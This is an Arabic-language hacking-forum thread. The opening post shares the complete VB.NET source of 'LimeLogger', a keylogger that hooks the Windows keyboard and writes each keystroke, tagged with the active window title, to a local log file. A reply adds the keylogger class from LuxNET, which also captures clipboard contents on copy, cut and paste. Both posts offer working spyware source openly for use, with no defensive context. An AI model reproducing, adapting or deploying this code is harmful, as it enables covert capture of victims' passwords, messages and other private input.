LimeLogger v0.2.6.1 إصــدار مــحــول و مــصــلــح لـVB.NET

تم تحميل الصفحة في 0,7711570 ثانية
LimeLogger v0.2.6.1 إصــدار مــحــول و مــصــلــح لـVB.NET
إنضم
5 أغسطس 2011
المشاركات
3,108
الإعجابات
3,582
النقاط
123
العمر
23
الإقامة
][ الـمـمـلـكه الـعـربـيه الـسـعـوديـه ][
بسم الله الرحمن الرحيم
السلام عليكم و رحمة الله و بركاتة

LimeLogger v0.2.6.1 إصــدار مــحــول و مــصــلــح لـVB.NET

NET Framework v4

كود:
Imports System
Imports System.Diagnostics
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Windows.Forms

Namespace LimeLogger
    Module LimeLogger
        Private ReadOnly loggerPath As String = Application.StartupPath & "\log.txt"
        Private CurrentActiveWindowTitle As String

        Sub Main()
            _hookID = SetHook(_proc)
            Application.Run()
        End Sub

        Private Function SetHook(ByVal proc As LowLevelKeyboardProc) As IntPtr
            Using curProcess As Process = Process.GetCurrentProcess()
                Return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curProcess.ProcessName), 0)
            End Using
        End Function

        Private Function HookCallback(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
            If nCode >= 0 AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
                Dim vkCode As Integer = Marshal.ReadInt32(lParam)
                Dim capsLock As Boolean = (GetKeyState(&H14) And &HFFFF) <> 0
                Dim shiftPress As Boolean = (GetKeyState(&HA0) And &H8000) <> 0 OrElse (GetKeyState(&HA1) And &H8000) <> 0
                Dim currentKey As String = KeyboardLayout(CUInt(vkCode))

                If capsLock OrElse shiftPress Then
                    currentKey = currentKey.ToUpper()
                Else
                    currentKey = currentKey.ToLower()
                End If

                If CType(vkCode, Keys) >= Keys.F1 AndAlso CType(vkCode, Keys) <= Keys.F24 Then
                    currentKey = "[" & CType(vkCode, Keys) & "]"
                Else

                    Select Case (CType(vkCode, Keys)).ToString()
                        Case "Space"
                            currentKey = "[SPACE]"
                        Case "Return"
                            currentKey = "[ENTER]"
                        Case "Escape"
                            currentKey = "[ESC]"
                        Case "LControlKey"
                            currentKey = "[CTRL]"
                        Case "RControlKey"
                            currentKey = "[CTRL]"
                        Case "RShiftKey"
                            currentKey = "[Shift]"
                        Case "LShiftKey"
                            currentKey = "[Shift]"
                        Case "Back"
                            currentKey = "[Back]"
                        Case "LWin"
                            currentKey = "[WIN]"
                        Case "Tab"
                            currentKey = "[Tab]"
                        Case "Capital"

                            If capsLock = True Then
                                currentKey = "[CAPSLOCK: OFF]"
                            Else
                                currentKey = "[CAPSLOCK: ON]"
                            End If
                    End Select
                End If

                Using sw As StreamWriter = New StreamWriter(loggerPath, True)

                    If CurrentActiveWindowTitle = GetActiveWindowTitle() Then
                        sw.Write(currentKey)
                    Else
                        sw.WriteLine(Environment.NewLine)
                        sw.WriteLine("###  { " & GetActiveWindowTitle() & " } ###")
                        sw.Write(currentKey)
                    End If
                End Using
            End If

            Return CallNextHookEx(_hookID, nCode, wParam, lParam)
        End Function

        Private Function KeyboardLayout(ByVal vkCode As UInteger) As String
            Dim processId As UInteger = Nothing

            Try
                Dim sb As StringBuilder = New StringBuilder()
                Dim vkBuffer As Byte() = New Byte(255) {}
                If Not GetKeyboardState(vkBuffer) Then Return ""
                Dim scanCode As UInteger = MapVirtualKey(vkCode, 0)
                Dim keyboardLayouty As IntPtr = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), processId))
                ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayouty)
                Return sb.ToString()
            Catch
            End Try

            Return (CType(vkCode, Keys)).ToString()
        End Function

        Private Function GetActiveWindowTitle() As String
            Dim pid As UInteger = Nothing

            Try
                Dim hwnd As IntPtr = GetForegroundWindow()
                GetWindowThreadProcessId(hwnd, pid)
                Dim p As Process = Process.GetProcessById(CInt(pid))
                Dim title As String = p.MainWindowTitle
                If String.IsNullOrWhiteSpace(title) Then title = p.ProcessName
                CurrentActiveWindowTitle = title
                Return title
            Catch __unusedException1__ As Exception
                Return "???"
            End Try
        End Function

        Private Const WM_KEYDOWN As Integer = &H100
        Private _proc As LowLevelKeyboardProc = AddressOf HookCallback
        Private _hookID As IntPtr = IntPtr.Zero
        <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
        Private Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As LowLevelKeyboardProc, ByVal hMod As IntPtr, ByVal dwThreadId As UInteger) As IntPtr
        End Function
        <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
        Private Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
        <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
        Private Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
        End Function
        <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
        Private Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
        End Function
        Private WHKEYBOARDLL As Integer = 13
        Private Delegate Function LowLevelKeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
        <DllImport("user32.dll")>
        Private Function GetForegroundWindow() As IntPtr
        End Function
        <DllImport("user32.dll", SetLastError:=True)>
        Private Function GetWindowThreadProcessId(ByVal hWnd As IntPtr, <Out> ByRef lpdwProcessId As UInteger) As UInteger
        End Function
        <DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True, CallingConvention:=CallingConvention.Winapi)>
        Function GetKeyState(ByVal keyCode As Integer) As Short
        End Function
        <DllImport("user32.dll", SetLastError:=True)>
        Private Function GetKeyboardState(ByVal lpKeyState As Byte()) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
        <DllImport("user32.dll")>
        Private Function GetKeyboardLayout(ByVal idThread As UInteger) As IntPtr
        End Function
        <DllImport("user32.dll")>
        Private Function ToUnicodeEx(ByVal wVirtKey As UInteger, ByVal wScanCode As UInteger, ByVal lpKeyState As Byte(),
        <Out, MarshalAs(UnmanagedType.LPWStr)> ByVal pwszBuff As StringBuilder, ByVal cchBuff As Integer, ByVal wFlags As UInteger, ByVal dwhkl As IntPtr) As Integer
        End Function
        <DllImport("user32.dll")>
        Private Function MapVirtualKey(ByVal uCode As UInteger, ByVal uMapType As UInteger) As UInteger
        End Function
    End Module
End Namespace
جميع الحقوق محفوظة لـNYAN CAT
:32:
 
إنضم
21 مايو 2019
المشاركات
343
الإعجابات
296
النقاط
63
العمر
89
هذا هو كيلوجر LuxNET

C#:
Imports Microsoft.VisualBasic.CompilerServices
Imports My
Imports System
Imports System.Diagnostics
Imports System.Runtime.CompilerServices
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Windows.Forms

Public Class KeyHook
    ' Methods
    Public Sub New(ByVal backspace As Boolean, ByVal enter As Boolean, ByVal logClipboard As Boolean)
        Me._showBackspace = backspace
        Me._showEnter = enter
        Me._logClipboard = logClipboard
    End Sub

    <DllImport("user32", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
    Private Shared Function CallNextHookEx(ByVal hk As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As Kstruct) As Integer
    End Function

    Public Sub Feed(ByVal eCode As Keys)
        Dim key As String = String.Empty
        If (Me._lastwindow <> Me.GetActiveWindowTitle) Then
            Me._lastwindow = Me.GetActiveWindowTitle
            Me.keystrokes = (Me.keystrokes & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10) & "[Window=" & Me._lastwindow & "]" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10))
        End If
        If ((String.IsNullOrEmpty(Me.keystrokes) Or (Me.keystrokes = "")) Or (Me.keystrokes.Length < 5)) Then
            Me.keystrokes = (Me.keystrokes & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10) & "[Window=" & Me.GetActiveWindowTitle & "]")
        End If
        Select Case eCode
            Case Keys.Back
                If Not Me._showBackspace Then
                    If (Me.keystrokes.Length > 1) Then
                        Me.keystrokes = Me.keystrokes.Remove((Me.keystrokes.Length - 1))
                    End If
                Else
                    key = "[Backspace]"
                End If
                Exit Select
            Case Keys.Tab, Keys.Menu, Keys.Pause, Keys.Escape, Keys.PageUp, Keys.Next, Keys.End, Keys.Home, Keys.Left, Keys.Up, Keys.Right, Keys.Down, Keys.PrintScreen, Keys.Insert, Keys.Help, Keys.LWin, Keys.RWin, Keys.Sleep, Keys.F1, Keys.F2, Keys.F3, Keys.F4, Keys.F5, Keys.F6, Keys.F7, Keys.F8, Keys.F9, Keys.F10, Keys.F11, Keys.F12, Keys.NumLock, Keys.BrowserRefresh, Keys.VolumeMute, Keys.VolumeDown, Keys.VolumeUp
                key = ("[" & eCode.ToString & "]")
                Exit Select
            Case Keys.Enter
                If Not Me._showEnter Then
                    key = ChrW(13) & ChrW(10)
                Else
                    key = "[Enter]"
                End If
                Exit Select
            Case Keys.A
                If Not Me._ctrl Then
                    key = Me.GetKey(eCode)
                Else
                    key = "[Strg + A]"
                End If
                Exit Select
            Case Keys.C
                If Not (Me._ctrl And Me._logClipboard) Then
                    key = Me.GetKey(eCode)
                Else
                    key = (ChrW(13) & ChrW(10) & "[Copied]" & ChrW(13) & ChrW(10) & My.Computer.Clipboard.GetText & ChrW(13) & ChrW(10) & "[End Copy]" & ChrW(13) & ChrW(10))
                End If
                Exit Select
            Case Keys.S
                If Not Me._ctrl Then
                    key = Me.GetKey(eCode)
                Else
                    key = "[Strg + S]"
                End If
                Exit Select
            Case Keys.V
                If Not (Me._ctrl And Me._logClipboard) Then
                    key = Me.GetKey(eCode)
                Else
                    key = (ChrW(13) & ChrW(10) & "[Pasted]" & ChrW(13) & ChrW(10) & My.Computer.Clipboard.GetText & ChrW(13) & ChrW(10) & "[End Paste]" & ChrW(13) & ChrW(10))
                End If
                Exit Select
            Case Keys.X
                If Not (Me._ctrl And Me._logClipboard) Then
                    key = Me.GetKey(eCode)
                Else
                    key = (ChrW(13) & ChrW(10) & "[Cutted]" & ChrW(13) & ChrW(10) & My.Computer.Clipboard.GetText & ChrW(13) & ChrW(10) & "[End Cut]" & ChrW(13) & ChrW(10))
                End If
                Exit Select
            Case Else
                key = Me.GetKey(eCode)
                Exit Select
        End Select
        Console.Write(key)
        Me.keystrokes = (Me.keystrokes & key)
    End Sub

    Private Function GetActiveWindowTitle() As String
        Dim num As Integer
        KeyHook.GetWindowThreadProcessId(KeyHook.GetForegroundWindow, num)
        If (Process.GetProcessById(num).MainWindowTitle = Nothing) Then
            Return "Desktop"
        End If
        Return Process.GetProcessById(num).MainWindowTitle
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
    Private Shared Function GetForegroundWindow() As IntPtr
    End Function

    Private Function GetKey(ByVal eCode As Keys) As String
        If (My.Computer.Keyboard.ShiftKeyDown Or My.Computer.Keyboard.CapsLock) Then
            Return KeyHook.VkCodeToUnicode(CType(eCode, UInt32)).ToUpper
        End If
        Return KeyHook.VkCodeToUnicode(CType(eCode, UInt32)).ToLower
    End Function

    <DllImport("user32", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
    Private Shared Function GetKeyboardLayout(ByVal dwLayout As Integer) As Integer
    End Function

    <DllImport("user32.dll")> _
    Private Shared Function GetKeyboardState(ByVal lpKeyState As Byte()) As Boolean
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
    Public Shared Function GetWindowThreadProcessId(ByVal hwnd As IntPtr, ByRef lpdwProcessId As Integer) As Integer
    End Function

    Public Sub Hook()
        Try
            Me._khd = New KeyboardInput(AddressOf Me.KeyboardProc)
            Using process As Process = Process.GetCurrentProcess
                Using process.MainModule
                    Me._khk = KeyHook.SetWindowsHookEx(13, Me._khd, 0, 0)
                End Using
            End Using
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            ProjectData.ClearProjectError
        End Try
    End Sub

    Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As Kstruct) As Integer
        If (nCode = 0) Then
            Select Case wParam
                Case &H100, 260
                    If Not My.Computer.Keyboard.CtrlKeyDown Then
                        Me._ctrl = False
                    Else
                        Me._ctrl = True
                    End If
                    Me.Feed(DirectCast(lParam.VkCode, Keys))
                    Exit Select
            End Select
        End If
        Return KeyHook.CallNextHookEx(Me._khk, nCode, wParam, lParam)
    End Function

    <DllImport("user32.dll")> _
    Private Shared Function MapVirtualKey(ByVal uCode As UInt32, ByVal uMapType As UInt32) As UInt32
    End Function

    <DllImport("user32", EntryPoint:="SetWindowsHookExA", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
    Private Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As KeyboardInput, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
    End Function

    <DllImport("user32.dll")> _
    Private Shared Function ToUnicodeEx(ByVal wVirtKey As UInt32, ByVal wScanCode As UInt32, ByVal lpKeyState As Byte(), <Out, MarshalAs(UnmanagedType.LPWStr)> ByVal pwszBuff As StringBuilder, ByVal cchBuff As Integer, ByVal wFlags As UInt32, ByVal dwhkl As IntPtr) As Integer
    End Function

    Public Sub Unhook()
        Try
            If (Me._khk <> 0) Then
                KeyHook.UnhookWindowsHookEx(Me._khk)
                Me.Finalize
            End If
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            ProjectData.ClearProjectError
        End Try
    End Sub

    <DllImport("user32", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
    Private Shared Function UnhookWindowsHookEx(ByVal hk As Integer) As Integer
    End Function

    Private Shared Function VkCodeToUnicode(ByVal vkCode As UInt32) As String
        Dim str As String
        Try
            Dim pwszBuff As New StringBuilder
            Dim lpKeyState As Byte() = New Byte(&HFF  - 1) {}
            If Not KeyHook.GetKeyboardState(lpKeyState) Then
                Return ""
            End If
            Dim wScanCode As UInt32 = KeyHook.MapVirtualKey(vkCode, 0)
            Dim foregroundWindow As IntPtr = KeyHook.GetForegroundWindow
            Dim lpdwProcessId As Integer = 0
            Dim keyboardLayout As IntPtr = CType(KeyHook.GetKeyboardLayout(KeyHook.GetWindowThreadProcessId(foregroundWindow, lpdwProcessId)), IntPtr)
            KeyHook.ToUnicodeEx(vkCode, wScanCode, lpKeyState, pwszBuff, 5, 0, keyboardLayout)
            str = pwszBuff.ToString
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            str = ("[" & DirectCast(CInt(vkCode), Keys).ToString & "]")
            ProjectData.ClearProjectError
        End Try
        Return str
    End Function


    ' Fields
    Private _ctrl As Boolean = False
    Private _khd As KeyboardInput
    Private _khk As Integer
    Private _lastwindow As String = ""
    Private ReadOnly _logClipboard As Boolean = False
    Private ReadOnly _showBackspace As Boolean = False
    Private ReadOnly _showEnter As Boolean = False
    Public keystrokes As String

    ' Nested Types
    Private Delegate Function KeyboardInput(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As Kstruct) As Integer

    <StructLayout(LayoutKind.Sequential)> _
    Private Structure Kstruct
        Public VkCode As Integer
        Public Scancode As Integer
        Public Flags As Integer
        Public Time As Integer
        Public DwExtraInfo As Integer
    End Structure
End Class
في امان الله
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 1 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل